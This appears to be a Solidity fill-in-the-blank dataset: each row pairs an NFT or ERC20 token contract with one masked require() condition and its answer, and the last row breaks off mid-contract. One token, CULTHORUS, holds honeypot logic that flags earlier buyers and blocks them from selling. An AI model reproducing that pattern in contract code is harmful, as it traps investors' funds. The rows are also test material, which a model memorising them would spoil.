comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"already mint" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract CC0Fighters is AccessControl, ERC721Enumerable, IERC721Receiver, ReentrancyGuard, EIP712 {
using SafeMath for uint256;
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bool private mintFlag = false;
Counters.Counter private _tokenIdCounter;
string private _URI = "";
address private signer = address(0x030b7361eBC8889c30dFA82265165d0f00b19666);
bytes32 private constant FREE_MINT_HASH_TYPE = keccak256("freemint(address wallet)");
mapping(address => bool) private freeMintLog;
// max token supply
uint256 public _maxSupply;
uint256 public _maxMintSupply;
uint256 public _devReserved;
uint256 public _devMintCounter;
uint256 public _pubMintCounter;
// base mint price
uint256 public _preMintAmount;
uint256 public _pubMintAmount;
uint256 public _startMintTime;
uint256 public _freeMintEndTime;
uint256 public _preMintEndTime;
constructor() ERC721("CC0Fighters", "cf") EIP712("CC0Fighters", "1") {
}
modifier canMint() {
}
function setMintPrice(uint256 pre, uint256 pub) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function startMint(uint256 startTime) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function stopMint() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function pubmint(uint256 amount) public payable canMint nonReentrant {
}
function premint(uint256 amount) public payable canMint nonReentrant {
}
function freemint(uint8 v, bytes32 r, bytes32 s) public payable canMint nonReentrant {
require(block.timestamp <= _freeMintEndTime, "free mint end.");
require(<FILL_ME>)
require(_pubMintCounter + 1 <= _maxMintSupply, "insufficient mint.");
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(FREE_MINT_HASH_TYPE, msg.sender)));
require(ECDSA.recover(digest, v, r, s) == signer, "invalid signer");
_pubMintCounter += 1;
freeMintLog[msg.sender] = true;
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function devmint(uint256 amount) public payable canMint nonReentrant onlyRole(MINTER_ROLE) {
}
function withdraw(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeSigner(address _signer) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 /*tokenId*/,
bytes calldata /*data*/
) public pure returns (bytes4) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| !freeMintLog[msg.sender],"already mint" | 237,356 | !freeMintLog[msg.sender] |
"insufficient mint." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract CC0Fighters is AccessControl, ERC721Enumerable, IERC721Receiver, ReentrancyGuard, EIP712 {
using SafeMath for uint256;
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bool private mintFlag = false;
Counters.Counter private _tokenIdCounter;
string private _URI = "";
address private signer = address(0x030b7361eBC8889c30dFA82265165d0f00b19666);
bytes32 private constant FREE_MINT_HASH_TYPE = keccak256("freemint(address wallet)");
mapping(address => bool) private freeMintLog;
// max token supply
uint256 public _maxSupply;
uint256 public _maxMintSupply;
uint256 public _devReserved;
uint256 public _devMintCounter;
uint256 public _pubMintCounter;
// base mint price
uint256 public _preMintAmount;
uint256 public _pubMintAmount;
uint256 public _startMintTime;
uint256 public _freeMintEndTime;
uint256 public _preMintEndTime;
constructor() ERC721("CC0Fighters", "cf") EIP712("CC0Fighters", "1") {
}
modifier canMint() {
}
function setMintPrice(uint256 pre, uint256 pub) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function startMint(uint256 startTime) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function stopMint() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function pubmint(uint256 amount) public payable canMint nonReentrant {
}
function premint(uint256 amount) public payable canMint nonReentrant {
}
function freemint(uint8 v, bytes32 r, bytes32 s) public payable canMint nonReentrant {
require(block.timestamp <= _freeMintEndTime, "free mint end.");
require(!freeMintLog[msg.sender], "already mint");
require(<FILL_ME>)
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(FREE_MINT_HASH_TYPE, msg.sender)));
require(ECDSA.recover(digest, v, r, s) == signer, "invalid signer");
_pubMintCounter += 1;
freeMintLog[msg.sender] = true;
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function devmint(uint256 amount) public payable canMint nonReentrant onlyRole(MINTER_ROLE) {
}
function withdraw(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeSigner(address _signer) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 /*tokenId*/,
bytes calldata /*data*/
) public pure returns (bytes4) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| _pubMintCounter+1<=_maxMintSupply,"insufficient mint." | 237,356 | _pubMintCounter+1<=_maxMintSupply |
"invalid signer" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract CC0Fighters is AccessControl, ERC721Enumerable, IERC721Receiver, ReentrancyGuard, EIP712 {
using SafeMath for uint256;
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bool private mintFlag = false;
Counters.Counter private _tokenIdCounter;
string private _URI = "";
address private signer = address(0x030b7361eBC8889c30dFA82265165d0f00b19666);
bytes32 private constant FREE_MINT_HASH_TYPE = keccak256("freemint(address wallet)");
mapping(address => bool) private freeMintLog;
// max token supply
uint256 public _maxSupply;
uint256 public _maxMintSupply;
uint256 public _devReserved;
uint256 public _devMintCounter;
uint256 public _pubMintCounter;
// base mint price
uint256 public _preMintAmount;
uint256 public _pubMintAmount;
uint256 public _startMintTime;
uint256 public _freeMintEndTime;
uint256 public _preMintEndTime;
constructor() ERC721("CC0Fighters", "cf") EIP712("CC0Fighters", "1") {
}
modifier canMint() {
}
function setMintPrice(uint256 pre, uint256 pub) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function startMint(uint256 startTime) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function stopMint() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function pubmint(uint256 amount) public payable canMint nonReentrant {
}
function premint(uint256 amount) public payable canMint nonReentrant {
}
function freemint(uint8 v, bytes32 r, bytes32 s) public payable canMint nonReentrant {
require(block.timestamp <= _freeMintEndTime, "free mint end.");
require(!freeMintLog[msg.sender], "already mint");
require(_pubMintCounter + 1 <= _maxMintSupply, "insufficient mint.");
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(FREE_MINT_HASH_TYPE, msg.sender)));
require(<FILL_ME>)
_pubMintCounter += 1;
freeMintLog[msg.sender] = true;
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function devmint(uint256 amount) public payable canMint nonReentrant onlyRole(MINTER_ROLE) {
}
function withdraw(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeSigner(address _signer) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 /*tokenId*/,
bytes calldata /*data*/
) public pure returns (bytes4) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| ECDSA.recover(digest,v,r,s)==signer,"invalid signer" | 237,356 | ECDSA.recover(digest,v,r,s)==signer |
"too many already minted." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract CC0Fighters is AccessControl, ERC721Enumerable, IERC721Receiver, ReentrancyGuard, EIP712 {
using SafeMath for uint256;
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bool private mintFlag = false;
Counters.Counter private _tokenIdCounter;
string private _URI = "";
address private signer = address(0x030b7361eBC8889c30dFA82265165d0f00b19666);
bytes32 private constant FREE_MINT_HASH_TYPE = keccak256("freemint(address wallet)");
mapping(address => bool) private freeMintLog;
// max token supply
uint256 public _maxSupply;
uint256 public _maxMintSupply;
uint256 public _devReserved;
uint256 public _devMintCounter;
uint256 public _pubMintCounter;
// base mint price
uint256 public _preMintAmount;
uint256 public _pubMintAmount;
uint256 public _startMintTime;
uint256 public _freeMintEndTime;
uint256 public _preMintEndTime;
constructor() ERC721("CC0Fighters", "cf") EIP712("CC0Fighters", "1") {
}
modifier canMint() {
}
function setMintPrice(uint256 pre, uint256 pub) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function startMint(uint256 startTime) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function stopMint() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function pubmint(uint256 amount) public payable canMint nonReentrant {
}
function premint(uint256 amount) public payable canMint nonReentrant {
}
function freemint(uint8 v, bytes32 r, bytes32 s) public payable canMint nonReentrant {
}
function devmint(uint256 amount) public payable canMint nonReentrant onlyRole(MINTER_ROLE) {
require(<FILL_ME>)
_devMintCounter += amount;
for (uint256 i = 0; i < amount; i++) {
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
}
function withdraw(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeSigner(address _signer) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 /*tokenId*/,
bytes calldata /*data*/
) public pure returns (bytes4) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| _devMintCounter+amount<=_devReserved,"too many already minted." | 237,356 | _devMintCounter+amount<=_devReserved |
null | /**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
//SPDX-License-Identifier: MIT
//https://t.me/culthorus
//Max buy 1,000,000 tokens ,10%tax
//some super cult incoming
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract CULTHORUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public buyers;
address private _last;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
uint256 public _maxWallet;
uint256 private _tTotal = 100000000 * 10**18;
string private constant _name = "Cult Horus";
string private constant _symbol = "CULTHORUS";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
require(_canTrade);
buyers[_last]=true;
_last=to;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function createUniswapPair() external onlyOwner {
}
function addLiquidity() external onlyOwner{
}
function startTrading() external onlyOwner{
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
}
receive() external payable {}
function manualSend() public{
}
}
| !buyers[from] | 237,377 | !buyers[from] |
"MAX_RESERVED_SUPPLY exceeded" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
import "./ERC721A.sol";
import "./Reveal.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title The NFT smart contract.
*/
contract NFT is ERC721A, AccessControl, Ownable, Reveal {
/// @notice Minter Access Role - allows users and smart contracts with this role to mint standard tokens (not reserves).
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
/// @notice The amount of available NFT tokens (including the reserved tokens).
uint256 public MAX_SUPPLY;
/// @notice The amount of reserved NFT tokens.
uint256 public MAX_RESERVED_SUPPLY;
/// @notice Indicates if the reserves have been minted.
bool public preminted = false;
/**
* @notice The smart contract constructor that initializes the contract.
* @param tokenName The name of the token.
* @param tokenSymbol The symbol of the token.
* @param unrevealedUri The URL of a media that is shown for unrevealed NFTs.
* @param maxSupply The total amount of available NFT tokens (including the reserved tokens).
* @param maxReservedSupply The amount of reserved NFT tokens.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
string memory unrevealedUri,
uint256 maxSupply,
uint256 maxReservedSupply
) ERC721A(tokenName, tokenSymbol) Reveal(unrevealedUri) {
}
/**
* @notice Sets the total amounts of tokens.
* @param quantity The number of tokens to set.
*/
function setMaxSupply(uint256 quantity) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @notice Mints the reserved NFT tokens.
* @param recipient The NFT tokens recipient.
* @param quantity The number of NFT tokens to mint.
*/
function premint(address recipient, uint256 quantity) external onlyRole(DEFAULT_ADMIN_ROLE) {
// Check if the desired quantity of the reserved tokens to mint doesn't exceed the reserve.
require(<FILL_ME>)
// Mint the tokens.
_safeMint(recipient, quantity);
}
/**
* @notice Grants the specified address the minter role.
* @param mintingRouter The address to grant the minter role.
*/
function setMinter(address mintingRouter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @notice Mints the NFT tokens.
* @param recipient The NFT tokens recipient.
* @param quantity The number of NFT tokens to mint.
*/
function mint(address recipient, uint256 quantity) external onlyRole(MINTER_ROLE) {
}
/**
* @notice Burns the NFT tokens.
* @param tokenIds The IDs of the NFTs to burn.
*/
function burnTokens(uint256[] calldata tokenIds, address forOwner) external onlyRole(MINTER_ROLE) {
}
/**
* @notice Returns a URI of an NFT.
* @param tokenId The ID of the NFT.
* @return The URI of the token.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @notice Returns true if this contract implements the interface defined by interfaceId.
* @dev The following functions are overrides required by Solidity.
* @param interfaceId The interface ID.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, AccessControl) returns (bool) {
}
/**
* @notice Returns the base URL.
*/
function _baseURI() internal view override returns (string memory) {
}
}
| totalSupply()+quantity<=MAX_RESERVED_SUPPLY,"MAX_RESERVED_SUPPLY exceeded" | 237,401 | totalSupply()+quantity<=MAX_RESERVED_SUPPLY |
"Only one transaction per block allowed" | pragma solidity ^0.8.19;
/**
* @title PEM Token
* @dev Implementation of the PEM Token.
*/
contract Pepemon is ERC20, Ownable {
mapping (address => bool) private _isExcludedFromFee; // keeps track of addresses excluded from fees
mapping (address => bool) private _isExcludedFromBotProtection; // keeps track of addresses excluded from bot protection
mapping (address => bool) private _isExcludedFromMaxTxAmount; // keeps track of addresses excluded from the maximum transaction amount
mapping (address => uint) private _lastTx; // keeps track of the timestamp of the last transaction of each address
uint256 public constant MAX_SUPPLY = 1000000000000 ether; // token supply
uint256 public tax = 50;
uint256 public max_tx_amount = 1000000000 ether; // maximum amount of tokens that can be bought or sold in a transaction
address private _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // address of the Uniswap v2 router
mapping (address => bool) public pairs; // all pairs
address private _poolWallet; // fees from sells
uint256 public swapTokensAtAmount = 50000000 ether; // minimum amount of tokens to be swapped for ETH - if 0 won't swap
bool public isTaxActive = true; // determines whether the tax is active or not
bool public botDetectionActive = true; // determines whether bot detection is active or not
bool public maxTransactionActive = true; // determines whether the maximum transaction amount is active or not
bool private swapping; // determines whether a swap is in progress or not
/**
*
* construction.
*/
constructor(address poolWallet_) ERC20("Pepemon", "PEM") {
}
/**
* @dev See {ERC20-_transfer}.
*
*/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "Can't transfer from zero address");
require(to != address(0), "can't transfer to zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!swapping) {
if (max_tx_amount > 0) {
if ((pairs[to] || pairs[from]) && !_isExcludedFromMaxTxAmount[tx.origin]) {
require(amount <= max_tx_amount, "Amount exceeds the maximum transaction amount");
}
}
if (botDetectionActive) {
if (pairs[to] && !_isExcludedFromBotProtection[from]) { // SELL
require(<FILL_ME>)
_lastTx[from] = block.number;
} else if (pairs[from] && !_isExcludedFromBotProtection[to]) { // BUY
// require(_lastTx[to] < block.number, "Only one transaction per block allowed");
_lastTx[to] = block.number;
}
}
if (tax > 0) { // tax
uint256 taxAmount = amount * tax / 1000;
if (pairs[to] && !_isExcludedFromFee[from]) { // SELL
amount -= taxAmount; // remove tax from the amount
super._transfer(from, address(this), taxAmount); // send the tax to the contract
//swap tokens for ETH
swapping = true;
checkAndSwap();
swapping = false;
}
}
}
super._transfer(from, to, amount);
}
function checkAndSwap() private {
}
function _swapTokensForEth(uint256 tokenAmount, address to) private {
}
/**
* @dev Burns `amount` tokens from the caller.
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
}
function emergencyTransfer() external onlyOwner {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function excludeFromBotProtection(address account) public onlyOwner {
}
function includeInBotProtection(address account) public onlyOwner {
}
function excludeFromMaxTxAmount(address account) public onlyOwner {
}
function includeInMaxTxAmount(address account) public onlyOwner {
}
function setPoolWallet(address poolWallet) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function deactivateMaxTransaction() public onlyOwner {
}
function setTaxStatus(bool status) public onlyOwner {
}
function setTax(uint256 new_tax) public onlyOwner {
}
function setBotDetectionStatus(bool status) public onlyOwner {
}
function setUniswapV2Router(address uniswapV2Router) public onlyOwner {
}
function addPair(address pair) public onlyOwner {
}
function removePair(address pair) public onlyOwner {
}
function createPair() external onlyOwner {
}
function setRule(uint256 _tax, uint256 _max_tx_amount, bool _botDetectionActive ) external onlyOwner {
}
}
| _lastTx[from]<block.number,"Only one transaction per block allowed" | 237,462 | _lastTx[from]<block.number |
"User blacklisted" | //********************************** IGC Coin and Telegram link **********************************//
//******************** * ** * https://t.me/+DRsGYQl6gu41NjJk * ** * ********************//
//********************************** IGC Telegram Project **********************************//
//******************* * ** * https://t.me/investclubGlobal_ENG * ** * ****************//
//********************************** IGC Coin Website **********************************//
//****************** * ** * https://investclubglobal.com * ** * ****************//
pragma solidity ^0.8.20;
/**
* @title InvestClubGlobal
* @dev Extends ERC20, ERC20Burnable, ERC20Pausable, Ownable contracts to create the Invest Club Global token.
*/
contract InvestClubGlobal is ERC20, ERC20Burnable, ERC20Pausable, Ownable {
// State variables
address public marketingWallet;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public totalBuyTax = 5;
uint256 public totalSellTax = 5;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) public isBlackListed;
// Events.
event AddressBlacklisted(address indexed account, bool isBlacklisted);
event AddressWhitelisted(address indexed account, bool isWhitelisted);
event AddressExcludedFromFees(address indexed account, bool isExcluded);
event MarketingWalletUpdated(address indexed newWallet);
event BuyTaxesUpdated(uint256 newBuyTaxPercent);
event SellTaxesUpdated(uint256 newSellTaxPercent);
event AutomatedMarketMakerPairSet(address indexed pair, bool value);
/**
* @dev Constructor function to initialize the Invest Club Global token.
*/
constructor()
Ownable(0xdc472E460f93F62CB67665F4c3B795e56104911d)
ERC20("Invest Club Global", "ICG")
{
}
/**
* @dev Fallback function to receive Ether.
*/
receive() external payable {}
/**
* @dev Internal function to update transfers considering ERC20Pausable overrides.
*/
function _update(
address from,
address to,
uint256 value
) internal override(ERC20, ERC20Pausable) {
}
/**
* @dev Update the maximum wallet amount based on the percentage of the total supply.
*/
function updateMaxWalletAmount(uint256 maxWalletPercent) public onlyOwner {
}
/**
* @dev Set maximum buy and sell amounts based on the percentage of the total supply.
*/
function setMaxBuyAndSell(uint256 maxBuyPercent, uint256 maxSellPercent)
public
whenNotPaused
onlyOwner
{
}
/**
* @dev Blacklists an address, preventing it from performing transfers.
* @param account The address to be blacklisted.
*/
function blackListAddress(address account) external onlyOwner {
}
/**
* @dev Whitelists an address, allowing it to perform transfers after being blacklisted.
* @param account The address to be whitelisted.
*/
function whiteListAddress(address account)
external
whenNotPaused
onlyOwner
{
}
/**
* @dev Excludes or includes an address from fee deductions.
* @param account The address to be excluded/included from fees.
* @param excluded Boolean indicating whether the address should be excluded (true) or included (false) from fees.
*/
function excludeFromFees(address account, bool excluded)
public
whenNotPaused
onlyOwner
{
}
/**
* @dev Sets the marketing wallet address to receive fee deductions.
* @param newWallet The new address for receiving marketing fees.
*/
function setMarketingWallet(address newWallet)
public
whenNotPaused
onlyOwner
{
}
/**
* @dev Sets the percentage of buy taxes to be deducted from transactions.
* @param buyTaxPercent The new percentage of buy taxes.
*/
function setBuyTaxes(uint256 buyTaxPercent) public whenNotPaused onlyOwner {
}
/**
* @dev Sets the percentage of sell taxes to be deducted from transactions.
* @param sellTaxPercent The new percentage of sell taxes.
*/
function setSellTaxes(uint256 sellTaxPercent)
public
whenNotPaused
onlyOwner
{
}
/**
* @dev Sets an automated market maker pair and its value (true/false).
* @param newPair The address of the new pair to be set.
* @param value The boolean value indicating whether the pair should be set or unset.
*/
function setAutomatedMarketMakerPair(address newPair, bool value)
external
whenNotPaused
onlyOwner
{
}
/**
* @dev Sets an automated market maker pair and its value (true/false) privately.
* @param newPair The address of the new pair to be set.
* @param value The boolean value indicating whether the pair should be set or unset.
*/
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
/**
* @dev Checks if an address is excluded from fee deductions.
* @param account The address to check for exclusion from fees.
* @return A boolean indicating if the address is excluded from fees.
*/
function isExcludedFromFees(address account) public view returns (bool) {
}
/**
* @dev Internal transfer function with additional logic to handle fees.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if (automatedMarketMakerPairs[to]) {
require(amount <= maxSellAmount, "You are exceeding maxSellAmount");
} else if (automatedMarketMakerPairs[from]) {
require(amount <= maxBuyAmount, "You are exceeding maxBuyAmount");
require(
amount + balanceOf(to) <= maxWalletAmount,
"Unable to exceed Max Wallet"
);
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
bool takeFee;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (
!automatedMarketMakerPairs[to] && !automatedMarketMakerPairs[from]
) {
takeFee = false;
}
if (takeFee) {
uint256 feeAmt;
if (automatedMarketMakerPairs[to]) {
feeAmt = (amount * totalSellTax) / 100;
} else if (automatedMarketMakerPairs[from]) {
feeAmt = (amount * totalBuyTax) / 100;
}
amount = amount - feeAmt;
super._transfer(from, marketingWallet, feeAmt);
}
super._transfer(from, to, amount);
}
}
| !isBlackListed[from]&&!isBlackListed[to],"User blacklisted" | 237,614 | !isBlackListed[from]&&!isBlackListed[to] |
'ExceedsMaxSupply' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721A} from "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/*
███████████ ███ ███████████ ███ █████ █████
░░███░░░░░███ ░░░ ░█░░░███░░░█ ░░░ ░░███ ░░███
░███ ░███ ████ ████████ ███████ ██████ ████████ █████ ░ ░███ ░ ████████ ████ ░███████ █████ ████ ███████ ██████
░██████████ ░░███ ░░███░░███ ███░░███ ███░░███░░███░░███ ███░░ ░███ ░░███░░███░░███ ░███░░███░░███ ░███ ░░░███░ ███░░███
░███░░░░░███ ░███ ░███ ░███ ░███ ░███░███████ ░███ ░░░ ░░█████ ░███ ░███ ░░░ ░███ ░███ ░███ ░███ ░███ ░███ ░███████
░███ ░███ ░███ ░███ ░███ ░███ ░███░███░░░ ░███ ░░░░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ███░███░░░
